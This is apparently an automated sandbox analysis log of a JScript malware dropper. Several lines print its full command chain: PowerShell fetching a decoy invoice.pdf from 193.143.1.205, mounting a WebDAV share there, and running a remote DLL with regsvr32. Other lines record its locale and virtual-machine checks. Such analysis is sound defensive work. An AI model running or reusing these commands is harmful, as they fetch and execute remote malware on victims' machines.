Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7609.js.csv");ITextStream.WriteLine(" entry:7608 f:idfmsmk");ITextStream.WriteLine(" exec:2 f:idfmsmk");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49722

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4663			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5109			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep count: 4663 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep count: 5109 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7680	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7740	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7612	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7748	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7908	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7472	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000008.00000002.1388472109.00000220F5338000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000008.00000002.1388472109.00000220F5399000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2605298425.000001BC57E58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2603765424.000001BC5282B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2605265182.000001BC57E2C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000001.00000003.1326730056.000002002629E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
